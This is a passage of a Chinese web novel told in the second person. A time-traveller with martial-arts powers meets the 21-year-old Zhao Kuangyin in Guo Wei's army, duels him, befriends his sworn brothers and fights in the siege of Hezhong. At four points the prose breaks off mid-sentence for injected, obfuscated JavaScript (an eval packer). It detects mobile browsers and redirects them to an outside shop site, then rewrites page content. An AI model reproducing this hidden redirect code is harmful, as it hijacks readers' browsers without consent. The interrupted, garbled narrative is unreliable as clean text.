《宋初第一白月光》 1. 伊始 你穿越了。 既不是魂穿也不是身穿。 你的长相来自某个游戏的主控建模,当时你很认真地调了半小时参数,捏出来一张倾国倾城的美人面。 可惜你有点记不住是在哪个游戏捏的脸了。 穿越的过程中你丢失了大部分记忆,回忆过往对你来说就像是雾里看花。 你对着水欣赏了一下自己的脸,又去摸自己的衣服。 你隐约记得这是某款游戏的满氪赠礼时装。 不需要回忆你也知道自己不应该穿得起,可能是你试穿的时候碰巧穿越了吧。 你猜测道。 你又去翻自己的包裹。 里面满满当当全是各种增益效果的食物和药剂。 手边还有柄削铁如泥的锋利宝剑。 你将剑拔出来,随意挥舞了两下。 手腕轻转,剑尖挽出一朵银色的花,随即顺势下劈,带起一声清越的剑鸣。 你的脚步自然地游移,像是踩在某种你根本叫不出名字的步法上。 一片树叶碰巧飘过面前,你甚至没来得及思考,剑光已经一闪而过,那片叶子被精准地剖成两半,无声落地。 你发现自己是一位绝世高手。 老天待你不薄。 一定是因为你一直是个善良的好人。 你穿越到了一个乱世。 无故出现,从天而降,衣不染尘,穿的比庙里的菩萨还像神仙,武术高强、医术精湛,遇见你的人都叫你神女。 他们对你感恩戴德。 病痛之人不远千里向你靠拢,他们带来了四面八方的讯息。 你在其中听见了一个熟悉的名字。 赵匡胤。 你总记得住宋太祖的名字。 原来这里是赵宋建立之前的五代十国。 你思索一夜,第二天决定去找唯一的熟人。 好吧,既然提前知道这场乱世争霸赛谁是赢家,你没理由不一键加入他的队伍。 而且据说宋太祖赵匡胤脾气很好,有情有义,是一个只留下“杯酒释兵权”典故而不专注于狡兔死良犬烹的君主。 武将出身,结束百年五代乱世、建立宋朝三百多年基业,但是性格宽厚仁慈、对待功臣极为和善。 嘿嘿。 全是优点没有缺点。 你溯洄从之道阻且长,多方打听,嘚吧嘚吧跑去开封找人。 这会儿开封还不是赵宋的都城,而是后汉的都城。 你进了城。 然后发现赵匡胤时年21岁。 不是。 宋太祖陛下你怎么还在郭威的护圣军军营里兢兢业业地上班。 你上班怎么上得这么开心。 一点创业的念头都没有吗。 这么尊重领导吗。 这么友爱同事吗。 这对吗。 不太熟悉历史的你有点破防。 这年是公元948年。四月。 赵匡胤没有丝毫要称帝的迹象,你只能先蹲在开封那地界发呆。 因为郭威的部曲驻军在开封。 哦,开封那会儿还不叫开封,而是叫东京汴梁。 唉。 到底该怎么办呢。 你以为自己是来买一支必盈利的赵宋公司股票,没想到赵宋公司根本还没创立啊。 那现在咋办呢。 你惆怅地望着都城内郭威的护圣军军营。 然后郭威的亲信来请你了。 大家都说你是神女来着。 不是郭威到底是谁啊! 十二年义务教育没教啊!古代中国那课本上有你吗郭威!你能不能带上自己的生卒年和生平大事自我介绍一下啊! 虽然不知道郭威是谁,但你还是去了。 主要是确实也没啥事干。 干脆去见见世面。 多个朋友多条路嘛。 哦原来郭威是后汉的超级大权臣,他掌握了整个后汉的兵权。 难怪赵匡胤在郭威手下当下属呢。 整个后汉,不在郭威手下当下属的人也不多。 郭威想招揽你。 郭威想让你也当他的下属。 你才不当。 郭威先生,十二年义务教育历史课本上都没你,高考试卷上考点是你的概率约等于零。 跟着你哪来的前途啊。 要跟也是跟着宋太祖赵匡胤大人啊。 所以你礼貌地回绝了。 郭威笑着看你。 他说他知道你来汴梁是为了谁。 说话的这一刻,你是在郭威的大帐之中。 郭威的大帐比周围的帐篷高出整整一圈,帐顶一面军旗垂着。帐前账中立着数名亲兵,甲胄齐整,手按刀柄,全神贯注地盯着你。 帐内一张长案,案上铺着舆图,边角卷起,用铜镇纸压住。 郭威就端坐在长案后的主位上。 他说:“赵匡胤。对吗?” 郭威的语气随意得像在说今天天气不错:“骁勇果敢,办事得力,是个好苗子。你和他有旧?” 怪不得人家能当大将军呢。 你叹为观止。 然后你说那倒没有,就是我听说他很厉害我想和他切磋一下。 只能这么说了。 总不能说我听说赵匡胤以后要当皇帝特来投奔他吧。 郭威先生恐怕日的一声把宋太祖大人砍成臊子。 郭威不知道信没信你说的话。 反正他把赵匡胤喊来了。 二十一岁的赵匡胤。 你远远望着他那么多天,如今终于看清他的脸。 他的皮肤呈小麦色,很均匀,脖子上有一道浅浅的旧伤疤,颜色比周围的皮肤略浅一些。 你的视线本来都扫过去了,又忍不住挪回去多看了一眼。 赵匡胤的脸型偏长,下颌线棱角分明。鼻梁高挺笔直,从眉心到鼻尖的线条几乎没有起伏。眉毛浓淡得宜,像是用焦墨一笔画成。眉骨略高,在眼窝处投下淡淡的阴影,使眼神显得格外深邃。 我去。 超绝骨相大帅哥。 课本上你不长这样啊。 反向照骗。我去。 你愣了一下,下意识去望那双看不太分明的眼睛。 他的眼睛是狭长的,眼尾微微上挑,带着鹰隼般的锐利。 你在看着赵匡胤。 赵匡胤也在看着你。 你们的目光撞了个正着。 他被你看得明显愣了一下。 你:“……” 你若无其事地扭开头。 赵匡胤望你的那一眼也只是来去匆匆。他转向郭威,行了一个礼,动作干脆利落。 “元朗,”郭威的声音不急不缓,“这位姑娘说,想和你切磋切磋。” “大将军,”他的声音比你预想的要低沉一些,带着一种沉稳的磁性。然后他转过头来,重新看向你。 他说:“好。” 就只一个字。 你这时才注意到赵匡胤的嘴唇非常薄,只是轮廓分明,嘴角的线条微微下压,不笑的时候显得有些严肃。不过他的嘴唇颜色很红,健康且气血充盈,像是没完全收敛的少年热忱,在这张英气逼人的脸上添了一抹奇异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517965|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生动。 好年轻啊…… 和课本上那个中年皇帝画像一点也不一样啊…… 你的心胸中涌动着奇妙的感觉。 这个陌生的乱世中,眼前这个人是你唯一的旧识。 甚至从小你就知道他。 多么久违的熟悉感。 你在这个时代孤零零地呆了这么久。 你同赵匡胤一起走出帐外。 帐帘掀开的刹那,晚风扑面而来。 消息传得比你想象的要快得多。 等你们面对面立好,周围已经聚集了相当多人。 ——不知兵士们从哪儿听到了风声,三三两两地聚过来,越聚越多,最后竟在场地边沿围成了一圈厚实的人墙。 好多人啊。 但这个时候你已经不能退缩了。 火把点起来了。 橙红色的光连成一片,光影交错间,那些围拢过来的士兵的脸忽明忽暗。 他们在交头接耳。 声音嘈杂,你只能能捕捉到一些零碎的词句——“神女”、“赵匡胤那小子”。 然后是一阵低低的笑声和议论声混在一起,分不清是兴奋还是起哄。 晚风吹过你的脸,你的衣袂飘飞起来,临风欲舞。 你不再去管人群、话语、目光、晚风和夕阳。 你全神贯注地关注着赵匡胤的动向。 好吧,其实你确实想和他打一场。 你以前是个普通的女性,对人类身体力量的上限不太有概念。 你只知道自己身手不凡,打普通壮年男性犹如砍瓜切菜。 但是如果对上五代十国第一武人赵匡胤呢? 他创立了千年闻名的太祖长拳。 是最终建立赵宋、彪炳史册的顶级武力。 如果对上他呢? 你的剑动了。 金戈交击。 你的身体在不断地移动、旋转、俯仰、腾挪。 剑在你手中不再是一件兵器,而是你身体的延伸,是你意念的具象。你想让它去哪里,它就去哪里,甚至比你的想法更快。 赵匡胤的眼神越来越沉。 随着缠斗的持续,他逐渐不再留手了。 周围的喧嚣不知道什么时候安静了下来。 那些起哄、口哨、笑声,全都消失了。那么多兵士站在校场边沿,瞪大了眼睛,张着嘴,发不出任何声音。 刀光剑影。 你从未觉得如此酣畅淋漓过。 你的体力逐渐耗尽,但你的招式越来越快、越来越准确、越来越简洁。 赵匡胤的刀从上方劈下,带着雷霆万钧之势。他明白自己的优势是壮年男子远胜于你的体力。 你的身体没有后退,反而向前踏出了一步。 这一步大得出奇,大到赵匡胤的刀从你身后落下,劈在了空处,而你整个人贴进了他的怀里。 他的眼睛猛地睁大了,瞳孔里映着你的脸。 你的剑横在他的脖子上。 “我赢了。”你说。 校场上爆发出剧烈的欢呼声。 有人开始鼓掌,有人互相讨论,有人激动地往前涌。 对于沉闷的军士生活而言,这实在是一场太精彩的对决。 你心里洋洋得意,虽然极力克制,但是唇角忍不住勾了起来。 忽然,你的笑容顿住了。 等一下—— 你不是来投奔赵匡胤的吗? 你现在做了什么啊! 你冲过来当着他的上司和同侪的面把他打了一顿。 你倒吸一口凉气,顿觉大事不妙。 2. 人生之艰难 你打算找赵匡胤表达一下歉意,主要是说明你真不是故意来当众找他碴的。 虽然确实很像啦。 但是你相信英明神武的太祖大人一定会辨明真相的。 唯一的问题就是你不太会和人道歉。 其实你以前是一个普普通通的女孩子,老老实实去学校,老老实实回家,父母对你说的最多的话就是要好好念书。 父母并不教你怎么和他人社交,学校当然也不教。 到底有没有人通知一下他们,这些东西不教给小孩,小孩是不会到点就自己悟出来的。 反正你不太会。 其实以前你连地铁都不会坐呢。 哈哈,没坐过也没人教就是不会嘛。 但是你是个勇敢的人,至少你希望自己是个勇敢的人。 勇敢的人从不退缩! 你给自己打气,私下跑去找赵匡胤。 然后又和他打了一架。 你:“……” 你也不知道事情为什么会变成这样。 你很诚恳地和他说,对不起,我不是故意当众赢你的。 然后把准备的礼物给他了。 道歉不就是这么道的吗! 赵匡胤为什么要问你还打不打啊! 那你确实很想再和他打啊! 你脑子都没动就答应了。 然后你又赢了。 赢完发现周围不知何时长出了一堆围观群众。 围观群众为你喝彩。 你:“……” 不对。不对。不对。 救命啊到底事情为什么会变成这样啊! 你真不是来和他结仇的! 你迷茫。你沉思。你不知所措。 所以你就这样千里迢迢跑过来当众打了赵匡胤两顿吗。 你不是来投奔他的吗。 哈哈。 你的社交能力真是堪比一根香蕉。 你决定冷静一下。 你跑路。 没跑远。 因为刚出汴梁,你又遇到流民了。 你穿越之后遇到很多次流民了。 课本上不怎么教的这个五代十国,是一个超乎你想象的超级乱世。 兵强马壮者便可为天子,王朝更迭频繁,简直犹如走马灯一样。 文臣卑微,门阀没落,武将权势极重,乃至到了嚣张跋扈的地步。 是的,有些武将甚至有食人的恶习。 你觉得他们都疯了。 白骨露于野,千里无鸡鸣。 战乱、重税、契丹,中原人口锐减,十室九空,饿殍流民满地都是。 你觉得自己应该是害怕的。 如果不是因为害怕,你也不会这么心心念念来找赵匡胤。 大哥求你了你快创业弄一个能进史书的大一统王朝出来吧。 你遇到的流民们有的很可怜,有的是疯子,有的是很可怜的疯子。 而这些人从外表上很难区分开。 遇见生病的人,你尽力去治疗他们。 遇见不平之事,你尽力去帮助他们。 可是他们实在是太多了。 人一多,事情就很容易失控,好心况且办不成好事,更何况许多人本来就是怀着恶毒心思来的。 或许他们本来不是恶毒的人,是世道逼迫,不恶毒就活不下去。 偶尔你会想,要是穿越的是别人——那些从小就崭露头角满身荣誉的人中龙凤,可能事情会更好一些吧。 但是这种念头转瞬即逝,你通常不太放在心上。 有这个时间不如出去练练剑治治病。 忙都忙死了,哪有空想七想八。 虽然遇见了很多个坏人,但是每次遇见抱着孩子的流民,你还是会停下来帮帮他们。 反正你那么厉害,连赵匡胤都打不过你。 而且你又正好遇到他们了。 但是这一次,你在汴梁城郊停留了很久。 超乎你想象的久。 以前你待的都是乡下地方,十里八乡的也没多少人。 汴梁真不愧是大城市啊。 城郊的流民比小城镇多十几倍啊。 你帮助流民的办法很粗糙。 你只帮女性和小孩。家里穷到要饿死了,要女性和小孩上门你才给饭。家里有人生病,要女性和小孩带来你才看诊。 虽然壮年男性也打不过你,但你没精力去警惕他们。 其实你也不是什么神医,你就是煮热水、消毒、让人吃饱饭、睡个好觉,要是还没好,就偷偷把自己有的那些药挤一滴兑水。 你从早忙到晚,累得一沾枕头就睡过去了,忙了一阵子,你发现自己的腰带又紧了一圈。 不能再这样下去了! 本来你的剑力气就不太够,再瘦就更没力气了! 确定手上最后一个病人痊愈之后,你连夜进了汴梁,准备好好吃一顿饱饭。 然后在汴梁的街头遇到了赵匡胤。 你犹豫了一下,决定再去和他说一遍你不是故意的。 事情总是要处理的。 扔在一边当没发生过还是不太行。 总之这次你一定不会再和他打起来了! 你现在要当一个勇敢细心又有定力的人! 你叫住了赵匡胤。 然后你忽然又想起来——你从来没有在任何影视文艺作品或者现实生活里看见有人是站在人来人往的大街上剖白心迹的。 于是你说出口的话紧急变成了要不要一起去吃饭。 好险。 社交能力差点不如一根香蕉。 大家总是在吃饭的时候谈事情嘛! 你信心满满。 事情的进展非常顺利。 你们在一家小店里吃炊饼喝羊肉汤。 炊饼是用粟米面做的,黄澄澄的,有些粗粝,但嚼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517966|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久了有一股粮食特有的甜。 赵匡胤看着你空口白嚼,欲言又止,然后还是教你怎么把炊饼掰碎了泡在羊肉汤里。 你讪讪一笑。 你们等着炊饼在乳白色的汤里慢慢变软。 你一个深呼吸。 你对他说你真不是故意的你只是听说他很厉害,当众打完才想起来这样对他的面子有点伤害,总之你希望他不要介怀因为你没有恶意,如果可以你希望你们能当朋友。 大哥你创业了一定要喊我的那种朋友。 赵匡胤的表情很奇怪,你在过往的生活里没见过类似的,所以你不太清楚这个表情意味着什么。 不过他说他从来没有因为之前的事情介怀过。更没有生过你的气。武者遇见一个厉害的对手只会觉得高兴。如果你愿意同他交好,是他的荣幸。 太对了太对了太对了,事情就要这样对下去。 你心花怒放。 赵匡胤问你是不是遇见什么难事。 你说没有啊。 说完又想起自己日益纤细的腰身,顿觉十分痛心,不由得偷瞄了一眼他的手臂。 该死的他是不是又壮了。 这肌肉要是长在你身上该多好啊! 一定是因为男性比女性更容易练出肌肉。 你愤愤不平地想。然后又叫了一碗羊肉,决定狠狠摄入蛋白质增肌。 赵匡胤不觉得你这个神态和表情是什么事都没有的意思。 不过他还是尊重你的回答,没有再问什么。 他只是说起自己的事。 他说他去年离家闯荡,先去投奔复州王彦超,又去投奔随州刺史董宗本,两边都不待见他,他甚至一度生活困顿、衣食无着,直到北上参军,才进入了郭威大将军的直属部曲。 你都不知道这些事。 虽然他是宋太祖,但是《古代中国》这课本里的皇帝可太多了,就算他是宋朝的开国皇帝也没分到几行字。 你听完,还回忆了一下自己以前和同班同学交朋友的时候是怎么做的。 然后你斩钉截铁地对他说,那些人太没有眼光了!我们来骂他们吧! 嗯?赵匡胤的表情怎么不太对劲?难道你的表态还不够? 有的朋友确实情绪价值需求比较高啦。 你更加坚定地说,然后我再去揍他们一顿!让他们给你道歉! 赵匡胤当然没同意你的提议。 你吃饭的过程中数次尝试争取,都没成功,吃完饭你就把这事给忘了。 因为你发现自己忘记带钱了。 你这些日子真的忙昏头了。 你就这样把赵匡胤刚领到手的料钱给花完了。一分不剩。 你自己都怀疑自己是不是故意来找他麻烦的了。 不过从此以后你们确实是朋友了。 透过重重误会透视到你金子一般的内心。 宋太祖陛下真是一个英明的人。 3. 战争 后来你还和赵匡胤的朋友成了朋友。 那会儿他们都是低级亲兵,歃血为盟、抱团取暖,号称“义社”。 都不过是十几二十来岁的一群年轻人。 一开始他们甚至和其他人一样,真的以为你是九天降下的神女,又好奇又害怕,都不太敢接近你。 后来混熟了,目睹过你对改良食物的数次失败尝试——指物理意义上连续炸掉五个厨房,大家也都平常心了。 他们有空就来你这里团建做义工呢。 人还怪好的。 其实郭威先生人也挺好的。 虽然你三番两次地拒绝他,但是他也没找过你的麻烦,他手底下的亲兵三天两头来帮你撑场子他也不管。 有时候郭威家小孩有什么病啊痛啊,求到你这里来了,你也一视同仁顺手给治了。 毕竟汴梁是人家地盘呢。 还是不要太嚣张。 你现在倒是稍微能理解为什么赵匡胤上班上得那么积极了。 除去郭威先生人真的还可以,以及他对赵匡胤也算有知遇之恩这个因素之外—— 宋太祖大人其实是个非常健康的人。 不管是身体还是精神。 诚如他所说,他去年还在经历人生的超级低谷,不受人待见,被人赶来赶去。今年虽然情况有所好转,但旁人看来也就是一个底层军士。 但他一直乐呵呵的,情绪十分稳定,再苦再难的境遇也不害怕不退缩。 你能看出来他不是装的,他真的就这么开朗乐观又大方。 而且作为一个封建乱世中成长出来的男性,可能是因为一直在做大哥——家里他是最大的孩子,义社兄弟里他也居首位——竟然难得拥有健全完善又会共情的三观、耐心温和又沉着的性格。 你上门来打他两顿,他不生气。 你把他好不容易攒下来的钱全花了,他不生气。 忙起来的时候,你把他差遣得团团转,他不生气。 你信誓旦旦给他做好吃的赔礼道歉,回头把锅炸了,他不仅要给你收拾烂摊子还要给你做饭,他不生气。 他甚至给你做了够吃三顿的口粮,因为你显然不具备把饭弄好吃的能力。提前做好,你蒸一下就能吃。 由于你情绪肉眼可见的低落,他走之前还绞尽脑汁扮了一段杂剧的副净,把你逗乐了才走的。 到底带过多少个孩子才能拥有这样伟大的人格啊。 老天,同样生活在这片天空下的其他武将声誉不错的原因甚至是不怎么吃人呢。 难怪人家赵匡胤能脱颖而出成为中高考考点呢。 难怪人人都想认他当大哥呢。 大哥只要你一声令下我们就给你披上黄袍,天下人能不能过上好日子就看你的了。 可惜人的性格是一体两面的。 情绪稳定的赵大哥现在觉得日子还过得去,没有一点创业的打算。 你也没招,只能先这么着了。 总之你在汴梁过了很难得的一段平静时光。 你的社交技能也获得了长足的进步。 就算你明显和全天下所有人都不一样,和整个时代格格不入。 但大家都还挺待见你的。 你不确定是不是因为赵匡胤挺待见你的。其他人毕竟叫他一声大哥,大哥一上来就释放出了不计前嫌友善相处的信号,他们没有任何不尊重大哥决定的理由。 你感觉自己真是太明白“擒贼先擒王”这个道理了。 太有见地了!做的非常对! 哈哈。夸奖一下自己。 一转眼就入夏了。 有天你又趁着难得的空闲在鼓捣食物—— 你不确定是你在现代就厨艺不佳,还是单纯受制于这个时代简陋的厨具和粗劣的原料,反正你屡屡失败,总是创作出一些不堪入目的食物。 但是你没有放弃。 屡战屡败,屡败屡战。 反正你只要还活着你就会不停尝试复刻炸鸡火鸡面芝士年糕流汁宽粉的! 人生总要有点盼头嘛! 然后赵匡胤和王审琦一起刷新在了你的院子里。 王审琦是赵匡胤的发小。也是义社的一员,你记得他排第四好像。 他俩熟门熟路地走进来,一进门看见你蹲在院子里烧一大锅水,立刻就去老地方翻布料剪刀木尺和炭条,翻了个空,探出头来疑惑地看你。 烧水不是为了煮布吗?王审琦问。 这个时代粗布非常硬,煮软一些才好裁衣服。 你露出恶魔般的微笑,说当然不是啊,我想研究点吃食。 王审琦已经帮你来回重建过四次厨房了,听闻此言顿时唉声叹气,说神女大人你怎么又杠上了。 赵匡胤安慰他,说至少这次有进步,知道在院子里折腾,万一又炸了也好收拾。 你看看人家宋太祖这种允许一切事情发生的心态。 不过老炸也不能怪你,谁叫这鬼地方连铁锅都没有,每天就是蒸煮炖。 你又不会炼铁。 赵匡胤给你带了绿豆粉冻,把你轰到一边去吃,自己蹲下来折腾那锅热水。 绿豆粉冻其实就是凉粉,又叫“麻腐”,凉滑解暑,是汴梁城中夏天才有的一种平价消暑小食。 王审琦溜去看院子里的那口深井。 汴梁虽然在北方,但夏天也是很热的。最常用的保存食物的方法,就是将蔬菜、瓜果装入竹筐、陶罐,用绳子吊着悬在深井之中。 低温、避光、通风,新鲜蔬菜都能存放三五天不坏不蔫。 王审琦检阅着你的食材,感叹说你这里食材质量比军营里好太多了吧。 这不是废话。 就算是郭威先生的亲兵营护圣军也不可能杜绝贪腐。 而你这的食材都是被你救过性命的人送来的。 你对她们好。她们都知道。 她们也对你好。 人和人的相处有时候就是这么简单。 你喜欢做简单的事情。 可惜这个乱世到处都太复杂了,显得你的简单这样弥足珍贵。 他们许多人明明知道你只是肉体凡胎,但还是坚持叫你神女。 当然,和王审琦这种明显是挤兑你的语气不太一样。哈哈。 人和人熟起来之后还是太难端架子搞人设了。毕竟都凑在一起啃过生淹水木瓜了,你一边啃还一边嫌弃这玩意不够甜,对方很难发自内心地把满手都在滴水的你和传闻中仁爱光辉的神女形象等同起来。 赵匡胤没太用你的食材。 他带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517967|203252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个竹篓来你的院子里。赵匡胤说他们昨天正好去摘了新鲜的槐叶,想起你肯定自己不会弄槐叶,所以今天特地来找你。 你确实没吃过槐叶。 你甚至不知道这玩意能吃。 不过你还是兴致勃勃地等着了。 经过非常复杂的工序——抱歉你没记住,实在是太多步骤了,你在做饭上又实在凑合——赵匡胤端上来一碗“槐叶冷淘”。 这是一种用槐叶汁和面做成的冷面。 超级好吃!! 好吃到你甚至为自己以前痛骂这个时代所有东西都难吃得要死而忏悔了一秒钟。 赵匡胤做饭很快,这是颠沛流离的过往给他的遗产。 不一会儿,那些对于你来说太难的菜纷纷端了上来。 你大吃特吃。 老天,你真的尝试了很多次自己做饭,结果只是一次又一次给自己留下心理阴影。上次你砍鸡腿的时候,那血一下子飙在你脸上,腥得你反胃。还有煮猪肉的时候,煮着煮着整个锅都是白色浮沫,肉往外一口一口地吐紫红的血,好不容易煮熟了,一入口一股奇怪的气味。 出去吃吧,你在汴梁待了好些时日了,现在人家都不收你的钱,怎么都不收,三番两次下来你也不好意思。 你真爱和赵匡胤他们待在一起! 大哥大哥赵大哥,你们下次什么时候来啊? 你嚼嚼嚼,发自内心地问。 赵匡胤低低地笑了一声,说接下来一段时间没法来啦,你自己多保重,要记得吃饭。 你转过头去,只看见他的侧脸。 他正在处理残火,橘红色的光在他脸上夭夭而逃。 或许是因为角度问题,他的睫毛在火光里显得格外长,颧骨上留下一片浓密的阴影。 你问,为什么没法来啊? 原来是因为郭威先生要打仗了。 这会儿赵宋还没建立——因为赵匡胤还在当日子人——现在是后汉。 后汉的皇帝去年死了,然后上来一个小皇帝。 小皇帝年龄小,不服众,手底下有三员大将叛乱了。 郭威先生掌握着全国的兵权,自然被派去平乱了。 郭威先生决定亲自上阵。 那他的亲兵营肯定得跟着他一起去。 你有点担心。 打仗就要死人。 你早就知道了。 虽然赵匡胤应该能活到赵宋建立。 但是万一呢。 于是你悄悄给他们俩塞药,千叮咛万嘱咐让他们千万别和旁人说。 那什么,财不外露嘛。 塞完药你还是有点担心。 你说要不我和你们一起去吧,到时候万一有危险我可以帮你们。 郭威先生没同意。 应该说除了你之外没人同意。 可恶。 你管他们同意不同意。 没武功的时候要在乎别人同意不同意,有武功的时候还要在乎别人同意不同意,那你的武功不是白有了吗。 你想去哪就去哪。 反正他们一启程,你谁也没告诉,自己也动身了。 谁说你是和他们一起的了。 在哪救济流民不是救济。 你倒要看看谁敢管你。 4. 千万人与你 这场战争持续的时间比你想象的要久得多。 公元948年的8月,郭威亲征河中。 郭威的打法和你所知的大部分战争不太一样。 他把河中围了起来。 围而不打,筑垒困城。 河中成了一座孤城。 拖拖拉拉半年多,城外百姓被反复地征去修筑围城工事,一时间哀鸿遍野。 你十分不满。 你好好在这儿行善积德呢,他冲过来就把人征走去干苦力了。 这不胡闹呢嘛。 半年多了,到底要打多久啊,有完没完啊。 差不多得了。 你去找郭威。 郭威先生一如既往的给你好脸色,让亲信请你进来。 在前往郭威大帐的路上,你遇见了赵匡胤和他的一堆弟兄。 是哦,赵匡胤他们隶属于郭威的护圣军,是郭威的亲兵,是该碰到的。 你怒气冲冲地路过。 赵匡胤把你拦了下来。 按武力值来说,他是拦不住你的,但是你已经在心里发过誓不会再当众和他打了。 你不情不愿地被他拉到僻静处。 你率先发难,问他知不知道城外的状况。 赵匡胤没答,问你知不知道城里的情况。 被围困的河中的情况。 河中的叛将一出兵,郭威就指挥部将把他们打回去;不出兵,就继续困。 困到今天,河中已是弹尽粮绝,人欲相食。 这就是战争吗。 这就是已经蔓延了几百年、贯穿整个五代十国的战争吗。 你问他那怎么办。 赵匡胤没来得及回答,因为河中的方向忽然传来一阵沉闷的号角声。 就算你不通军旅之事,也听得出来那号角声和以往不同。 以往的出击号角长且平,像一条直线从城头拉过来,听得出只是例行骚扰,试探虚实。 这一次的号角声短促又急促,一声接着一声。 在因饥饿和内乱丧失战斗力之前,河中的叛将要做最后的殊死一搏。 河中方向传来的杀声、号角声、马蹄声,混成一片闷雷般的轰鸣,隔着层层营垒传到你所处之地,已经被削去了棱角,变成一种低沉的、持续不断的嗡鸣。 像是大地的咳嗽。 你下意识去看赵匡胤。 其实你是不害怕的。若赵匡胤不是恰好站在那里,你决计心中已经想好下一步要做什么了。 可是他站在那里,你就不由自主去望他一眼。 赵匡胤脸色微变,他迅速嘱咐了你几句,让你以自己的安全为重,不要管其他人,接着将你按原计划带到了中军大帐。 这里是整个军营最安全的地方。 郭威先生还有空朝你笑一下,说他现在抽不开手来,今日恐怕要白白耽误你的时间了,实在抱歉。 军士们开始加固周围的防御。 他们搬来了拒马,又在拒马后面挖了一道浅浅的壕沟,不宽,但足够让冲过来的战马失蹄。弓弩手被调动了起来,他们将箭壶插在身前的泥土里,箭尾朝上,方便抽取。 你有些疑惑——这里是中军大帐啊,为什么要搞这些啊?对面难道会打到这里来吗? 很快你就知道为什么了。 因为河内城的叛将真的打到了这里。 他们一行几百人,尽是披甲精锐,骑着最好的马,拿着最利的武器,直冲着郭威而来。 是了,正面战场他们赢的可能性为零,他们如今唯一的机会是杀了郭威。 主将亡于乱军之中,护圣军必然退去。 一瞬间,你听见了许许多多的声音从帐外传来。 金戈交击、盔甲被刺穿、刀刃砍进骨头、战马跌进鸿沟。 你坐不住了。 因为赵匡胤的关系,你和郭威的亲兵营大多有点交情。 他们都只有十几二十岁。 你不想眼睁睁看着认识的人死。 你的剑出鞘了。 后来在场的许多人都矢志不渝地称呼你为神女大人。 两军鼓噪,在场所有健壮年轻的身体,在殊死拼搏之中,也不过是在劫难逃的血肉。 可是也只能咬牙拼上去,因为一旦主将身亡,亲兵营更是绝无幸存的可能。 天昏地恶,喊杀震天,血肉横飞,一切都像一个令人窒息的噩梦的开端。 然后你出现了。 翩若惊鸿,婉如游龙。 你的剑这样利落又这样准确。 你的身法这样迅捷又这样轻盈。 人的眼睛跟不上你的速度,人的本能来不及做出反应。 你的每一次腾挪都比对手的判断快一拍,你出剑的时候对手还在想怎么防御,你收剑的时候对手的刀才刚举过头顶。 赵匡胤这样的顶级高手,面对你还有难解难分的说法。 但是困城中这些孤注一掷的叛将,他们还不够格当你的对手。 你的衣袂乘空御风,犹如飞仙。 有你助阵,郭威的亲兵营士气大振,很快便一鼓作气将敌人击退。 郭威的养子郭荣亲自率部追了出去。 留下的军士兴奋又热烈地庆祝起来。他们清楚这一战的关键是谁,可是你看起来那样凛然清绝,他们不敢靠近你,怕惹你不高兴,只敢隔着一段距离为你欢呼。 但是由于他们的口音本就混杂,兴奋起来更是难辨言语,你硬是没听出来他们在说什么。 你在找人。 你先在人群中看见了王审琦,顿时心里一喜,往旁边一找,又看见了赵匡胤。 赵匡胤手臂上出现了一道新鲜的伤口,王审琦满脸愧疚,看情况这伤口是因为他才有的。 赵匡胤也看见了你。 和其他人那种要将你奉若神明的狂热神态不一样,他的眼中隐约沉着忧虑。 你冲过去给他看伤,看见一条三寸多的刀伤,不深,但皮肉外翻,看起来痛得要命。 你转身去找军医营。 你蹲在军医营里看医官对这条新生的伤口进行紧急处理。 郭威的亲信来请你。 你说你现在没空,待会儿再去。 然后继续蹲着看医官的处理手法。 我去,好专业。 这就是每天几百上千个伤兵锻炼出来的吗。 你迅速学习中。 多门手艺多条路嘛。 你缠着医官问来问去。 很多医家秘技医官不应该告诉你的,但是医官们都听过你平日的事迹,再加上你刚刚展现的神乎其技的武功、郭威明显的友好态度,他们还是把知道的都说了。 赵匡胤有些怔愣地看着专心的你。 他仿佛完全忘记了自己手上还有道伤口,所有的注意力都放在了你身上。 等医官转身去处理药材,他压低声音对你说,你不要答应他们。 你说,什么? 赵匡胤说,你武功高强,一对一搏杀天下无敌。只有一点不好,气力不足,不能持久,这在战场上实在过于危险。如今日这样的速战速决并不多见,大部分战斗要持续几个时辰。你不要答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 